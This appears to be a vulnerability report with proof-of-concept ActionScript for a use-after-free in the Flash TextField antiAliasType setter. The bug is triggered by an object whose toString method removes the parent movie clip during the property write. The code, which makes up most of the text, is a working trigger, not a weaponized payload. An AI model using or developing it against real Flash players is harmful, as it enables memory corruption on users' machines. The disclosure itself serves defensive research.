There is a use-after-free in the TextField antiAliasType setter. If it is set to an object with a toString method that frees the TextField, the property will be written after it is freed.

|
A PoC is as follows:
|
|
|
|
var toptf = this.createEmptyMovieClip("toptf", 1);
|
|
|
|
|
|
function func(){
|
|
|
|
toptf.removeMovieClip();
|
|
trace("here");
|
|
return "advanced";
|
|
}
|
|
|
|
var o = {toString : func};
|
|
|
|
|
|
var my_format:TextFormat = new TextFormat();
|
|
my_format.font = "Times-12";
|
|
|
|
var my_text1:TextField = toptf.createTextField("my_text1", toptf.getNextHighestDepth(), 9.5, 10, 400, 100);
|
|
my_text1.text = "this.gridFitType = none";
|
|
my_text1.embedFonts = true;
|
|
my_text1.antiAliasType = o;
|
|
my_text1.gridFitType = "none";
|
|
my_text1.setTextFormat(my_format);
|
|
|
|
var my_text2:TextField = toptf.createTextField("my_text2", toptf.getNextHighestDepth(), 9.5, 40, 400, 100);
|
|
my_text2.text = "this.gridFitType = advanced";
|
|
my_text2.embedFonts = true;
|
|
my_text2.antiAliasType = "advanced";
|
|
my_text2.gridFitType = "pixel";
|
|
my_text2.setTextFormat(my_format);
|
|
|
|
var my_text3:TextField = toptf.createTextField("my_text3", toptf.getNextHighestDepth(), 9.5, 70, 400, 100);
|
|
my_text3.text = "this.gridFitType = subpixel";
|
|
my_text3.embedFonts = true;
|
|
my_text3.antiAliasType = "advanced";
|
|
my_text3.gridFitType = "subpixel";
|
|
my_text3.setTextFormat(my_format);
